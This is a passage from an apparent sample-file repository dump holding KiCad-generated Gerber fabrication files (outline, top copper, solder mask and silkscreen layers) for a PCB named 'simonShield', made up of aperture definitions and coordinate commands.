129547800Y-61542700D03*\nX127007800Y-64082700D03*\nX129547800Y-64082700D03*\nD23*\nX166243000Y-67056000D03*\nX164973000Y-68326000D03*\nX164973000Y-65786000D03*\nX128143000Y-71374000D03*\nX129413000Y-72644000D03*\nX126873000Y-72644000D03*\nX181737000Y-73914000D03*\nX180467000Y-72644000D03*\nX183007000Y-72644000D03*\nX128143000Y-94742000D03*\nX129413000Y-96012000D03*\nX126873000Y-96012000D03*\nX181737000Y-97282000D03*\nX180467000Y-96012000D03*\nX183007000Y-96012000D03*\nD18*\nX134239000Y-85344000D03*\nX134239000Y-77724000D03*\nX145415000Y-85344000D03*\nX145415000Y-77724000D03*\nX175641000Y-85217000D03*\nX175641000Y-77597000D03*\nX145415000Y-108966000D03*\nX145415000Y-101346000D03*\nX134239000Y-108458000D03*\nX134239000Y-100838000D03*\nX175641000Y-108585000D03*\nX175641000Y-100965000D03*\nX164465000Y-108839000D03*\nX164465000Y-101219000D03*\nX169164000Y-62611000D03*\nX161544000Y-62611000D03*\nX169164000Y-59563000D03*\nX161544000Y-59563000D03*\nX129921000Y-85217000D03*\nX129921000Y-77597000D03*\nX126365000Y-85217000D03*\nX126365000Y-77597000D03*\nX180086000Y-85217000D03*\nX180086000Y-77597000D03*\nX183515000Y-85217000D03*\nX183515000Y-77597000D03*\nX129921000Y-108458000D03*\nX129921000Y-100838000D03*\nX126365000Y-108458000D03*\nX126365000Y-100838000D03*\nX179959000Y-108585000D03*\nX179959000Y-100965000D03*\nX183515000Y-108585000D03*\nX183515000Y-100965000D03*\nD12*\nX155000000Y-99000000D03*\nD13*\nX155000000Y-88840000D03*\nD24*\nX137287000Y-77724000D03*\nX142367000Y-77724000D03*\nX137287000Y-85344000D03*\nX142367000Y-85344000D03*\nX148463000Y-77724000D03*\nX153543000Y-77724000D03*\nX148463000Y-85344000D03*\nX153543000Y-85344000D03*\nX172593000Y-85344000D03*\nX167513000Y-85344000D03*\nX172593000Y-77724000D03*\nX167513000Y-77724000D03*\nX161417000Y-85344000D03*\nX156337000Y-85344000D03*\nX161417000Y-77724000D03*\nX156337000Y-77724000D03*\nX148463000Y-101219000D03*\nX153543000Y-101219000D03*\nX148463000Y-108839000D03*\nX153543000Y-108839000D03*\nX137287000Y-101219000D03*\nX142367000Y-101219000D03*\nX137287000Y-108839000D03*\nX142367000Y-108839000D03*\nX172593000Y-108712000D03*\nX167513000Y-108712000D03*\nX172593000Y-101092000D03*\nX167513000Y-101092000D03*\nX161417000Y-108712000D03*\nX156337000Y-108712000D03*\nX161417000Y-101092000D03*\nX156337000Y-101092000D03*\nD25*\nX157178971Y-64124429D03*\nX150828971Y-64124429D03*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/simonShield-Edge.Cuts.gbr",
    "content": "G04 #@! TF.FileFunction,Profile,NP*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.100000*%\n%ADD11C,0.150000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX196250000Y-118000000D02*\nX113000000Y-118000000D01*\nX196250000Y-52750000D02*\nX196250000Y-118000000D01*\nX113000000Y-52750000D02*\nX196250000Y-52750000D01*\nX113000000Y-118000000D02*\nX113000000Y-52750000D01*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/simonShield-F.Cu.gbr",
    "content": "G04 #@! TF.FileFunction,Copper,L1,Top,Signal*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.100000*%\n%ADD11C,0.150000*%\n%ADD12C,1.600000*%\n%ADD13O,1.600000X1.600000*%\n%ADD14R,2.000000X1.524000*%\n%ADD15O,2.000000X1.524000*%\n%ADD16R,1.300000X1.300000*%\n%ADD17C,1.300000*%\n%ADD18C,1.998980*%\n%ADD19R,1.900000X2.000000*%\n%ADD20C,1.900000*%\n%ADD21C,1.000000*%\n%ADD22R,1.727200X1.727200*%\n%ADD23O,1.727200X1.727200*%\n%ADD24C,1.000760*%\n%ADD25C,1.397000*%\n%ADD26C,1.600200*%\n%ADD27C,1.270000*%\n%ADD28C,0.304800*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX196250000Y-118000000D02*\nX113000000Y-118000000D01*\nX196250000Y-52750000D02*\nX196250000Y-118000000D01*\nX113000000Y-52750000D02*\nX196250000Y-52750000D01*\nX113000000Y-118000000D02*\nX113000000Y-52750000D01*\nD12*\nX145400000Y-68800000D03*\nD13*\nX145400000Y-58640000D03*\nD14*\nX189230000Y-61468000D03*\nD15*\nX191770000Y-61468000D03*\nX189230000Y-74168000D03*\nX191770000Y-64008000D03*\nX189230000Y-76708000D03*\nX191770000Y-66548000D03*\nX189230000Y-79248000D03*\nX191770000Y-69088000D03*\nX189230000Y-81788000D03*\nX191770000Y-71628000D03*\nX189230000Y-84328000D03*\nX191770000Y-74168000D03*\nX189230000Y-86868000D03*\nX191770000Y-76708000D03*\nX189230000Y-89408000D03*\nX191770000Y-79248000D03*\nX189230000Y-91948000D03*\nX191770000Y-81788000D03*\nX189230000Y-94488000D03*\nX191770000Y-84328000D03*\nX189230000Y-97028000D03*\nX191770000Y-86868000D03*\nX189230000Y-99568000D03*\nX191770000Y-89408000D03*\nX191770000Y-91948000D03*\nX189230000Y-102108000D03*\nX191770000Y-94488000D03*\nX191770000Y-99568000D03*\nX191770000Y-102108000D03*\nX191770000Y-104648000D03*\nX191770000Y-107188000D03*\nX189230000Y-104648000D03*\nX189230000Y-107188000D03*\nX189230000Y-64008000D03*\nX189230000Y-66548000D03*\nX189230000Y-69088000D03*\nX189230000Y-71628000D03*\nX189230000Y-109728000D03*\nX191770000Y-109728000D03*\nX191770000Y-97028000D03*\nD14*\nX118110000Y-61468000D03*\nD15*\nX120650000Y-61468000D03*\nX118110000Y-64008000D03*\nX120650000Y-64008000D03*\nX118110000Y-66548000D03*\nX120650000Y-66548000D03*\nX118110000Y-69088000D03*\nX120650000Y-69088000D03*\nX118110000Y-71628000D03*\nX120650000Y-71628000D03*\nX118110000Y-74168000D03*\nX120650000Y-74168000D03*\nX118110000Y-76708000D03*\nX120650000Y-76708000D03*\nX118110000Y-79248000D03*\nX120650000Y-79248000D03*\nX118110000Y-81788000D03*\nX120650000Y-81788000D03*\nX118110000Y-84328000D03*\nX120650000Y-84328000D03*\nX118110000Y-86868000D03*\nX120650000Y-86868000D03*\nX118110000Y-89408000D03*\nX120650000Y-89408000D03*\nX118110000Y-91948000D03*\nX120650000Y-91948000D03*\nX118110000Y-94488000D03*\nX120650000Y-94488000D03*\nX118110000Y-97028000D03*\nX120650000Y-97028000D03*\nX118110000Y-99568000D03*\nX120650000Y-99568000D03*\nX118110000Y-102108000D03*\nX120650000Y-102108000D03*\nX118110000Y-104648000D03*\nX120650000Y-104648000D03*\nX118110000Y-107188000D03*\nX120650000Y-107188000D03*\nX118110000Y-109728000D03*\nX120650000Y-109728000D03*\nD16*\nX135255000Y-64008000D03*\nD17*\nX135255000Y-61508000D03*\nD18*\nX164465000Y-85471000D03*\nX164465000Y-77851000D03*\nD19*\nX136017000Y-72644000D03*\nD20*\nX133477000Y-72644000D03*\nD19*\nX173863000Y-72644000D03*\nD20*\nX176403000Y-72644000D03*\nD19*\nX136017000Y-96139000D03*\nD20*\nX133477000Y-96139000D03*\nD19*\nX173863000Y-96012000D03*\nD20*\nX176403000Y-96012000D03*\nD21*\nX125250000Y-112250000D03*\nX160500000Y-70500000D03*\nX167250000Y-92250000D03*\nD22*\nX127007800Y-61542700D03*\nD23*\nX129547800Y-61542700D03*\nX127007800Y-64082700D03*\nX129547800Y-64082700D03*\nD24*\nX166243000Y-67056000D03*\nX164973000Y-68326000D03*\nX164973000Y-65786000D03*\nX128143000Y-71374000D03*\nX129413000Y-72644000D03*\nX126873000Y-72644000D03*\nX181737000Y-73914000D03*\nX180467000Y-72644000D03*\nX183007000Y-72644000D03*\nX128143000Y-94742000D03*\nX129413000Y-96012000D03*\nX126873000Y-96012000D03*\nX181737000Y-97282000D03*\nX180467000Y-96012000D03*\nX183007000Y-96012000D03*\nD18*\nX134239000Y-85344000D03*\nX134239000Y-77724000D03*\nX145415000Y-85344000D03*\nX145415000Y-77724000D03*\nX175641000Y-85217000D03*\nX175641000Y-77597000D03*\nX145415000Y-108966000D03*\nX145415000Y-101346000D03*\nX134239000Y-108458000D03*\nX134239000Y-100838000D03*\nX175641000Y-108585000D03*\nX175641000Y-100965000D03*\nX164465000Y-108839000D03*\nX164465000Y-101219000D03*\nX169164000Y-62611000D03*\nX161544000Y-62611000D03*\nX169164000Y-59563000D03*\nX161544000Y-59563000D03*\nX129921000Y-85217000D03*\nX129921000Y-77597000D03*\nX126365000Y-85217000D03*\nX126365000Y-77597000D03*\nX180086000Y-85217000D03*\nX180086000Y-77597000D03*\nX183515000Y-85217000D03*\nX183515000Y-77597000D03*\nX129921000Y-108458000D03*\nX129921000Y-100838000D03*\nX126365000Y-108458000D03*\nX126365000Y-100838000D03*\nX179959000Y-108585000D03*\nX179959000Y-100965000D03*\nX183515000Y-108585000D03*\nX183515000Y-100965000D03*\nD12*\nX155000000Y-99000000D03*\nD13*\nX155000000Y-88840000D03*\nD25*\nX137287000Y-77724000D03*\nX142367000Y-77724000D03*\nX137287000Y-85344000D03*\nX142367000Y-85344000D03*\nX148463000Y-77724000D03*\nX153543000Y-77724000D03*\nX148463000Y-85344000D03*\nX153543000Y-85344000D03*\nX172593000Y-85344000D03*\nX167513000Y-85344000D03*\nX172593000Y-77724000D03*\nX167513000Y-77724000D03*\nX161417000Y-85344000D03*\nX156337000Y-85344000D03*\nX161417000Y-77724000D03*\nX156337000Y-77724000D03*\nX148463000Y-101219000D03*\nX153543000Y-101219000D03*\nX148463000Y-108839000D03*\nX153543000Y-108839000D03*\nX137287000Y-101219000D03*\nX142367000Y-101219000D03*\nX137287000Y-108839000D03*\nX142367000Y-108839000D03*\nX172593000Y-108712000D03*\nX167513000Y-108712000D03*\nX172593000Y-101092000D03*\nX167513000Y-101092000D03*\nX161417000Y-108712000D03*\nX156337000Y-108712000D03*\nX161417000Y-101092000D03*\nX156337000Y-101092000D03*\nD26*\nX157178971Y-64124429D03*\nX150828971Y-64124429D03*\nD27*\nX137287000Y-80137000D03*\nX137287000Y-83439000D03*\nX148336000Y-79629000D03*\nX148463000Y-83185000D03*\nX172593000Y-80137000D03*\nX172593000Y-83312000D03*\nX161417000Y-80010000D03*\nX161417000Y-83439000D03*\nX137287000Y-103505000D03*\nX137287000Y-106680000D03*\nX172593000Y-103378000D03*\nX172593000Y-106934000D03*\nX148463000Y-103505000D03*\nX148463000Y-106934000D03*\nX161417000Y-103759000D03*\nX161417000Y-106934000D03*\nD28*\nX137287000Y-83439000D02*\nX137287000Y-80137000D01*\nX148336000Y-83058000D02*\nX148336000Y-79629000D01*\nX148463000Y-83185000D02*\nX148336000Y-83058000D01*\nX172593000Y-83312000D02*\nX172593000Y-80137000D01*\nX161417000Y-83439000D02*\nX161417000Y-80010000D01*\nX137287000Y-106680000D02*\nX137287000Y-103505000D01*\nX172593000Y-106934000D02*\nX172593000Y-103378000D01*\nX148463000Y-106934000D02*\nX148463000Y-103505000D01*\nX161417000Y-106934000D02*\nX161417000Y-103759000D01*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/simonShield-F.Mask.gbr",
    "content": "G04 #@! TF.FileFunction,Soldermask,Top*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.100000*%\n%ADD11C,0.150000*%\n%ADD12C,2.000000*%\n%ADD13O,2.000000X2.000000*%\n%ADD14R,2.400000X1.924000*%\n%ADD15O,2.400000X1.924000*%\n%ADD16R,1.700000X1.700000*%\n%ADD17C,1.700000*%\n%ADD18C,2.398980*%\n%ADD19R,2.300000X2.400000*%\n%ADD20C,2.300000*%\n%ADD21C,4.000000*%\n%ADD22R,2.127200X2.127200*%\n%ADD23O,2.127200X2.127200*%\n%ADD24C,1.400760*%\n%ADD25C,1.797000*%\n%ADD26C,2.000200*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX196250000Y-118000000D02*\nX113000000Y-118000000D01*\nX196250000Y-52750000D02*\nX196250000Y-118000000D01*\nX113000000Y-52750000D02*\nX196250000Y-52750000D01*\nX113000000Y-118000000D02*\nX113000000Y-52750000D01*\nD12*\nX145400000Y-68800000D03*\nD13*\nX145400000Y-58640000D03*\nD14*\nX189230000Y-61468000D03*\nD15*\nX191770000Y-61468000D03*\nX189230000Y-74168000D03*\nX191770000Y-64008000D03*\nX189230000Y-76708000D03*\nX191770000Y-66548000D03*\nX189230000Y-79248000D03*\nX191770000Y-69088000D03*\nX189230000Y-81788000D03*\nX191770000Y-71628000D03*\nX189230000Y-84328000D03*\nX191770000Y-74168000D03*\nX189230000Y-86868000D03*\nX191770000Y-76708000D03*\nX189230000Y-89408000D03*\nX191770000Y-79248000D03*\nX189230000Y-91948000D03*\nX191770000Y-81788000D03*\nX189230000Y-94488000D03*\nX191770000Y-84328000D03*\nX189230000Y-97028000D03*\nX191770000Y-86868000D03*\nX189230000Y-99568000D03*\nX191770000Y-89408000D03*\nX191770000Y-91948000D03*\nX189230000Y-102108000D03*\nX191770000Y-94488000D03*\nX191770000Y-99568000D03*\nX191770000Y-102108000D03*\nX191770000Y-104648000D03*\nX191770000Y-107188000D03*\nX189230000Y-104648000D03*\nX189230000Y-107188000D03*\nX189230000Y-64008000D03*\nX189230000Y-66548000D03*\nX189230000Y-69088000D03*\nX189230000Y-71628000D03*\nX189230000Y-109728000D03*\nX191770000Y-109728000D03*\nX191770000Y-97028000D03*\nD14*\nX118110000Y-61468000D03*\nD15*\nX120650000Y-61468000D03*\nX118110000Y-64008000D03*\nX120650000Y-64008000D03*\nX118110000Y-66548000D03*\nX120650000Y-66548000D03*\nX118110000Y-69088000D03*\nX120650000Y-69088000D03*\nX118110000Y-71628000D03*\nX120650000Y-71628000D03*\nX118110000Y-74168000D03*\nX120650000Y-74168000D03*\nX118110000Y-76708000D03*\nX120650000Y-76708000D03*\nX118110000Y-79248000D03*\nX120650000Y-79248000D03*\nX118110000Y-81788000D03*\nX120650000Y-81788000D03*\nX118110000Y-84328000D03*\nX120650000Y-84328000D03*\nX118110000Y-86868000D03*\nX120650000Y-86868000D03*\nX118110000Y-89408000D03*\nX120650000Y-89408000D03*\nX118110000Y-91948000D03*\nX120650000Y-91948000D03*\nX118110000Y-94488000D03*\nX120650000Y-94488000D03*\nX118110000Y-97028000D03*\nX120650000Y-97028000D03*\nX118110000Y-99568000D03*\nX120650000Y-99568000D03*\nX118110000Y-102108000D03*\nX120650000Y-102108000D03*\nX118110000Y-104648000D03*\nX120650000Y-104648000D03*\nX118110000Y-107188000D03*\nX120650000Y-107188000D03*\nX118110000Y-109728000D03*\nX120650000Y-109728000D03*\nD16*\nX135255000Y-64008000D03*\nD17*\nX135255000Y-61508000D03*\nD18*\nX164465000Y-85471000D03*\nX164465000Y-77851000D03*\nD19*\nX136017000Y-72644000D03*\nD20*\nX133477000Y-72644000D03*\nD19*\nX173863000Y-72644000D03*\nD20*\nX176403000Y-72644000D03*\nD19*\nX136017000Y-96139000D03*\nD20*\nX133477000Y-96139000D03*\nD19*\nX173863000Y-96012000D03*\nD20*\nX176403000Y-96012000D03*\nD21*\nX125250000Y-112250000D03*\nX160500000Y-70500000D03*\nX167250000Y-92250000D03*\nD22*\nX127007800Y-61542700D03*\nD23*\nX129547800Y-61542700D03*\nX127007800Y-64082700D03*\nX129547800Y-64082700D03*\nD24*\nX166243000Y-67056000D03*\nX164973000Y-68326000D03*\nX164973000Y-65786000D03*\nX128143000Y-71374000D03*\nX129413000Y-72644000D03*\nX126873000Y-72644000D03*\nX181737000Y-73914000D03*\nX180467000Y-72644000D03*\nX183007000Y-72644000D03*\nX128143000Y-94742000D03*\nX129413000Y-96012000D03*\nX126873000Y-96012000D03*\nX181737000Y-97282000D03*\nX180467000Y-96012000D03*\nX183007000Y-96012000D03*\nD18*\nX134239000Y-85344000D03*\nX134239000Y-77724000D03*\nX145415000Y-85344000D03*\nX145415000Y-77724000D03*\nX175641000Y-85217000D03*\nX175641000Y-77597000D03*\nX145415000Y-108966000D03*\nX145415000Y-101346000D03*\nX134239000Y-108458000D03*\nX134239000Y-100838000D03*\nX175641000Y-108585000D03*\nX175641000Y-100965000D03*\nX164465000Y-108839000D03*\nX164465000Y-101219000D03*\nX169164000Y-62611000D03*\nX161544000Y-62611000D03*\nX169164000Y-59563000D03*\nX161544000Y-59563000D03*\nX129921000Y-85217000D03*\nX129921000Y-77597000D03*\nX126365000Y-85217000D03*\nX126365000Y-77597000D03*\nX180086000Y-85217000D03*\nX180086000Y-77597000D03*\nX183515000Y-85217000D03*\nX183515000Y-77597000D03*\nX129921000Y-108458000D03*\nX129921000Y-100838000D03*\nX126365000Y-108458000D03*\nX126365000Y-100838000D03*\nX179959000Y-108585000D03*\nX179959000Y-100965000D03*\nX183515000Y-108585000D03*\nX183515000Y-100965000D03*\nD12*\nX155000000Y-99000000D03*\nD13*\nX155000000Y-88840000D03*\nD25*\nX137287000Y-77724000D03*\nX142367000Y-77724000D03*\nX137287000Y-85344000D03*\nX142367000Y-85344000D03*\nX148463000Y-77724000D03*\nX153543000Y-77724000D03*\nX148463000Y-85344000D03*\nX153543000Y-85344000D03*\nX172593000Y-85344000D03*\nX167513000Y-85344000D03*\nX172593000Y-77724000D03*\nX167513000Y-77724000D03*\nX161417000Y-85344000D03*\nX156337000Y-85344000D03*\nX161417000Y-77724000D03*\nX156337000Y-77724000D03*\nX148463000Y-101219000D03*\nX153543000Y-101219000D03*\nX148463000Y-108839000D03*\nX153543000Y-108839000D03*\nX137287000Y-101219000D03*\nX142367000Y-101219000D03*\nX137287000Y-108839000D03*\nX142367000Y-108839000D03*\nX172593000Y-108712000D03*\nX167513000Y-108712000D03*\nX172593000Y-101092000D03*\nX167513000Y-101092000D03*\nX161417000Y-108712000D03*\nX156337000Y-108712000D03*\nX161417000Y-101092000D03*\nX156337000Y-101092000D03*\nD26*\nX157178971Y-64124429D03*\nX150828971Y-64124429D03*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/simonShield-F.SilkS.gbr",
    "content": "G04 #@! TF.FileFunction,Legend,Top*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.100000*%\n%ADD11C,0.150000*%\n%ADD12C,0.187500*%\n%ADD13C,0.125000*%\n%ADD14C,0.300000*%\n%ADD15C,0.120000*%\n%ADD16C,0.002540*%\n%ADD17C,0.200000*%\n%ADD18C,0.170000*%\n%ADD19C,0.175000*%\n%ADD20C,0.180000*%\n%ADD21C,0.190000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX196250000Y-118000000D02*\nX113000000Y-118000000D01*\nX196250000Y-52750000D02*\nX196250000Y-118000000D01*\nX113000000Y-52750000D02*\nX196250000Y-52750000D01*\nX113000000Y-118000000D02*\nX113000000Y-52750000D01*\nD12*\nX171964285Y-68083333D02*\nX123317001Y-106767381D01*\nX123650334Y-106767381D02*\nX123745572Y-106767381D01*\nX123793191Y-106815000D01*\nX123840810Y-106910238D01*\nX123864619Y-107100714D01*\nX123864619Y-107434048D01*\nX123840810Y-107624524D01*\nX123793191Y-107719762D01*\nX123745572Y-107767381D01*\nX123650334Y-107767381D01*\nX123602715Y-107719762D01*\nX123555096Y-107624524D01*\nX123531286Y-107434048D01*\nX123531286Y-107100714D01*\nX123555096Y-106910238D01*\nX123602715Y-106815000D01*\nX123650334Y-106767381D01*\nX124031287Y-106767381D02*\nX196102429Y-69431810D01*\nD13*\nX193274334Y-66254381D02*\nX193393381Y-67254381D01*\nX193488619Y-66540095D01*\nX193583857Y-67254381D01*\nX193702905Y-66254381D01*\nX193869572Y-66968667D02*\nX194107667Y-66968667D01*\nX193821953Y-67254381D02*\nX193988620Y-66254381D01*\nX194155286Y-67254381D01*\nX194321953Y-67254381D02*\nX194321953Y-66254381D01*\nX194607667Y-67254381D02*\nX194393381Y-66682952D01*\nX194607667Y-66254381D02*\nX194321953Y-66825810D01*\nX194821953Y-66730571D02*\nX194988619Y-66730571D01*\nX195060048Y-67254381D02*\nX194821953Y-67254381D01*\nX194821953Y-66254381D01*\nX195060048Y-66254381D01*\nX195274334Y-66254381D02*\nX195274334Y-67063905D01*\nX195298143Y-67159143D01*\nX195321953Y-67206762D01*\nX195369572Y-67254381D01*\nX195464810Y-67254381D01*\nX195512429Y-67206762D01*\nX195536238Y-67159143D01*\nX195560048Y-67063905D01*\nX195560048Y-66254381D01*\nX195798144Y-67254381D02*\nX195798144Y-66254381D01*\nX195988620Y-66254381D01*\nX196036239Y-66302000D01*\nX196060048Y-66349619D01*\nX196083858Y-66444857D01*\nX196083858Y-66587714D01*\nX196060048Y-66682952D01*\nX196036239Y-66730571D01*\nX195988620Y-66778190D01*\nX195798144Y-66778190D01*\nD17*\nX193929096Y-64016000D02*\nX193833858Y-63968381D01*\nX193691001Y-63968381D01*\nX193548143Y-64016000D01*\nX193452905Y-64111238D01*\nX193405286Y-64206476D01*\nX193357667Y-64396952D01*\nX193357667Y-64539810D01*\nX193405286Y-64730286D01*\nX193452905Y-64825524D01*\nX193548143Y-64920762D01*\nX193691001Y-64968381D01*\nX193786239Y-64968381D01*\nX193929096Y-64920762D01*\nX193976715Y-64873143D01*\nX193976715Y-64539810D01*\nX193786239Y-64539810D01*\nX194405286Y-64968381D02*\nX194405286Y-63968381D01*\nX194976715Y-64968381D01*\nX194976715Y-63968381D01*\nX195452905Y-64968381D02*\nX195452905Y-63968381D01*\nX195691000Y-63968381D01*\nX195833858Y-64016000D01*\nX195929096Y-64111238D01*\nX195976715Y-64206476D01*\nX196024334Y-64396952D01*\nX196024334Y-64539810D01*\nX195976715Y-64730286D01*\nX195929096Y-64825524D01*\nX195833858Y-64920762D01*\nX195691000Y-64968381D01*\nX195452905Y-64968381D01*\nX193278286Y-61539429D02*\nX194040191Y-61539429D01*\nX193659239Y-61920381D02*\nX193659239Y-61158476D01*\nX194992572Y-60920381D02*\nX194516381Y-60920381D01*\nX194468762Y-61396571D01*\nX194516381Y-61348952D01*\nX194611619Y-61301333D01*\nX194849715Y-61301333D01*\nX194944953Y-61348952D01*\nX194992572Y-61396571D01*\nX186697905Y-84637524D01*\nX186602667Y-84732762D01*\nX186459809Y-84780381D01*\nX186221714Y-84780381D01*\nX187174095Y-84494667D02*\nX187650286Y-84494667D01*\nX187078857Y-84780381D02*\nX187412190Y-83780381D01*\nX187745524Y-84780381D01*\nD13*\nX185555048Y-81240381D02*\nX185721715Y-82240381D01*\nX185888381Y-81240381D01*\nX186055048Y-82240381D02*\nX186055048Y-81240381D01*\nX186174095Y-81240381D01*\nX186245524Y-81288000D01*\nX186293143Y-81383238D01*\nX186316952Y-81478476D01*\nX186340762Y-81668952D01*\nX186340762Y-81811810D01*\nX186316952Y-82002286D01*\nX186293143Y-82097524D01*\nX186245524Y-82192762D01*\nX186174095Y-82240381D01*\nX186055048Y-82240381D01*\nX186555048Y-82240381D02*\nX186555048Y-81240381D01*\nX186674095Y-81240381D01*\nX186745524Y-81288000D01*\nX186793143Y-81383238D01*\nX186816952Y-81478476D01*\nX186840762Y-81668952D01*\nX186840762Y-81811810D01*\nX186816952Y-82002286D01*\nX186793143Y-82097524D01*\nX186745524Y-82192762D01*\nX186674095Y-82240381D01*\nX186555048Y-82240381D01*\nX187031238Y-81954667D02*\nX187269333Y-81954667D01*\nX186983619Y-82240381D02*\nX187150286Y-81240381D01*\nX187316952Y-82240381D01*\nD17*\nX185245524Y-79700381D02*\nX185245524Y-78700381D01*\nX185483619Y-78700381D01*\nX185626477Y-78748000D01*\nX185721715Y-78843238D01*\nX185769334Y-78938476D01*\nX185816953Y-79128952D01*\nX185816953Y-79271810D01*\nX185769334Y-79462286D01*\nX185721715Y-79557524D01*\nX185626477Y-79652762D01*\nX185483619Y-79700381D01*\nX185245524Y-79700381D01*\nX186197905Y-79414667D02*\nX186674096Y-79414667D01*\nX186102667Y-79700381D02*\nX186436000Y-78700381D01*\nX186769334Y-79700381D01*\nX187674096Y-79605143D02*\nX187626477Y-79652762D01*\nX187483620Y-79700381D01*\nX187388382Y-79700381D01*\nX187245524Y-79652762D01*\nX187150286Y-79557524D01*\nX187102667Y-79462286D01*\nX187055048Y-79271810D01*\nX187055048Y-79128952D01*\nX187102667Y-78938476D01*\nX187150286Y-78843238D01*\nX187245524Y-78748000D01*\nX187388382Y-78700381D01*\nX187483620Y-78700381D01*\nX187626477Y-78748000D01*\nX187674096Y-78795619D01*\nX185745524Y-77065143D02*\nX185697905Y-77112762D01*\nX185555048Y-77160381D01*\nX185459810Y-77160381D01*\nX185316952Y-77112762D01*\nX185221714Y-77017524D01*\nX185174095Y-76922286D01*\nX185126476Y-76731810D01*\nX185126476Y-76588952D01*\nX185174095Y-76398476D01*\nX185221714Y-76303238D01*\nX185316952Y-76208000D01*\nX185459810Y-76160381D01*\nX185555048Y-76160381D01*\nX185697905Y-76208000D01*\nX185745524Y-76255619D01*\nX186174095Y-77160381D02*\nX186174095Y-76160381D01*\nX186174095Y-76636571D02*\nX186745524Y-76636571D01*\nX186745524Y-77160381D02*\nX186745524Y-76160381D01*\nX187745524Y-77160381D02*\nX187174095Y-77160381D01*\nX187459809Y-77160381D02*\nX187459809Y-76160381D01*\nX187364571Y-76303238D01*\nX187269333Y-76398476D01*\nX187174095Y-76446095D01*\nX185491524Y-74525143D02*\nX185443905Y-74572762D01*\nX185301048Y-74620381D01*\nX185205810Y-74620381D01*\nX185062952Y-74572762D01*\nX184967714Y-74477524D01*\nX184920095Y-74382286D01*\nX184872476Y-74191810D01*\nX184872476Y-74048952D01*\nX184920095Y-73858476D01*\nX184967714Y-73763238D01*\nX185062952Y-73668000D01*\nX185205810Y-73620381D01*\nX185301048Y-73620381D01*\nX185443905Y-73668000D01*\nX185491524Y-73715619D01*\nX185920095Y-74620381D02*\nX185920095Y-73620381D01*\nX185920095Y-74096571D02*\nX186491524Y-74096571D01*\nX186491524Y-74620381D02*\nX186491524Y-73620381D01*\nX186920095Y-73715619D02*\nX186967714Y-73668000D01*\nX187062952Y-73620381D01*\nX187301048Y-73620381D01*\nX187396286Y-73668000D01*\nX187443905Y-73715619D01*\nX187491524Y-73810857D01*\nX187491524Y-73906095D01*\nX187443905Y-74048952D01*\nX186872476Y-74620381D01*\nX187491524Y-74620381D01*\nX185491524Y-71985143D02*\nX185443905Y-72032762D01*\nX185301048Y-72080381D01*\nX185205810Y-72080381D01*\nX185062952Y-72032762D01*\nX184967714Y-71937524D01*\nX184920095Y-71842286D01*\nX184872476Y-71651810D01*\nX184872476Y-71508952D01*\nX184920095Y-71318476D01*\nX184967714Y-71223238D01*\nX185062952Y-71128000D01*\nX185205810Y-71080381D01*\nX185301048Y-71080381D01*\nX185443905Y-71128000D01*\nX185491524Y-71175619D01*\nX185920095Y-72080381D02*\nX185920095Y-71080381D01*\nX185920095Y-71556571D02*\nX186491524Y-71556571D01*\nX186491524Y-72080381D02*\nX186491524Y-71080381D01*\nX186872476Y-71080381D02*\nX187491524Y-71080381D01*\nX187158190Y-71461333D01*\nX187301048Y-71461333D01*\nX187396286Y-71508952D01*\nX187443905Y-71556571D01*\nX187491524Y-71651810D01*\nX187491524Y-71889905D01*\nX187443905Y-71985143D01*\nX187396286Y-72032762D01*\nX187301048Y-72080381D01*\nX187015333Y-72080381D01*\nX186920095Y-72032762D01*\nX186872476Y-71985143D01*\nD13*\nX186094762Y-68588000D02*\nX186047143Y-68540381D01*\nX185975715Y-68540381D01*\nX185904286Y-68588000D01*\nX185856667Y-68683238D01*\nX185832858Y-68778476D01*\nX185809048Y-68968952D01*\nX185809048Y-69111810D01*\nX185832858Y-69302286D01*\nX185856667Y-69397524D01*\nX185904286Y-69492762D01*\nX185975715Y-69540381D01*\nX186023334Y-69540381D01*\nX186094762Y-69492762D01*\nX186118572Y-69445143D01*\nX186118572Y-69111810D01*\nX186023334Y-69111810D01*\nX186332858Y-69540381D02*\nX186332858Y-68540381D01*\nX186618572Y-69540381D01*\nX186618572Y-68540381D01*\nX186856668Y-69540381D02*\nX186856668Y-68540381D01*\nX186975715Y-68540381D01*\nX187047144Y-68588000D01*\nX187094763Y-68683238D01*\nX187118572Y-68778476D01*\nX187142382Y-68968952D01*\nX187142382Y-69111810D01*\nX187118572Y-69302286D01*\nX187094763Y-69397524D01*\nX187047144Y-69492762D01*\nX186975715Y-69540381D01*\nX186856668Y-69540381D01*\nX187332858Y-69254667D02*\nX187570953Y-69254667D01*\nX187285239Y-69540381D02*\nX187451906Y-68540381D01*\nX187618572Y-69540381D01*\nD17*\nX185459810Y-67000381D02*\nX185459810Y-66000381D01*\nX185888381Y-66952762D02*\nX186031238Y-67000381D01*\nX186269334Y-67000381D01*\nX186364572Y-66